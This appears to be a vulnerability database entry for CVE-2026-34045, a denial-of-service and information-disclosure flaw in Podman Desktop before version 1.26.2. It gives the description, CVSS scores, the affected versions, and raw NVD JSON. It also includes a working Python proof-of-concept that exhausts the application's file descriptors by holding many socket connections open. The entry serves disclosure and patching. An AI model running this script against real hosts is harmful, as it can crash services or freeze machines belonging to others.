Security Vulnerability Report
中文
CVE-2026-34045 CVSS 8.2 HIGH

CVE-2026-34045

Published: 2026-04-07 21:17:18
Last Modified: 2026-04-15 23:33:28

Description

Podman Desktop is a graphical tool for developing on containers and Kubernetes. Prior to 1.26.2, an unauthenticated HTTP server exposed by Podman Desktop allows any network attacker to remotely trigger denial-of-service conditions and extract sensitive information. By abusing missing connection limits and timeouts, an attacker can exhaust file descriptors and kernel memory, leading to application crash or full host freeze. Additionally, verbose error responses disclose internal paths and system details (including usernames on Windows), aiding further exploitation. The issue requires no authentication or user interaction and is exploitable over the network. This vulnerability is fixed in 1.26.2.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:podman_desktop:*:*:*:*:*:*:*:* - VULNERABLE
Podman Desktop < 1.26.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # Basic PoC to demonstrate resource exhaustion (File Descriptor exhaustion) # Target: Podman Desktop HTTP Server (Default port may vary, e.g., 6904) TARGET_HOST = '127.0.0.1' TARGET_PORT = 6904 def trigger_dos(): connections = [] print(f"[+] Attempting to exhaust resources on {TARGET_HOST}:{TARGET_PORT}") try: while True: # Create a socket connection without closing it s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) try: s.connect((TARGET_HOST, TARGET_PORT)) connections.append(s) print(f"[+] Connection #{len(connections)} established.") # Keep connection open to exhaust file descriptors except socket.error as e: print(f"[-] Connection failed: {e}") break # Small delay to prevent immediate script crash if network is too fast time.sleep(0.05) except KeyboardInterrupt: print("[!] Stopping attack...") finally: for s in connections: s.close() if __name__ == "__main__": trigger_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34045", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:17.557", "lastModified": "2026-04-15T23:33:28.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Podman Desktop is a graphical tool for developing on containers and Kubernetes. Prior to 1.26.2, an unauthenticated HTTP server exposed by Podman Desktop allows any network attacker to remotely trigger denial-of-service conditions and extract sensitive information. By abusing missing connection limits and timeouts, an attacker can exhaust file descriptors and kernel memory, leading to application crash or full host freeze. Additionally, verbose error responses disclose internal paths and system details (including usernames on Windows), aiding further exploitation. The issue requires no authentication or user interaction and is exploitable over the network. This vulnerability is fixed in 1.26.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}, {"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-400"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:podman_desktop:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.26.2", "matchCriteriaId": "E9C26569-28F1-4F1C-A6B5-E54B81E0CEEF"}]}]}], "references": [{"url": "https://github.com/podman-desktop/podman-desktop/security/advisories/GHSA-2q88-39rh-gxvv", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/podman-desktop/podman-desktop/security/advisories/GHSA-2q88-39rh-gxvv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}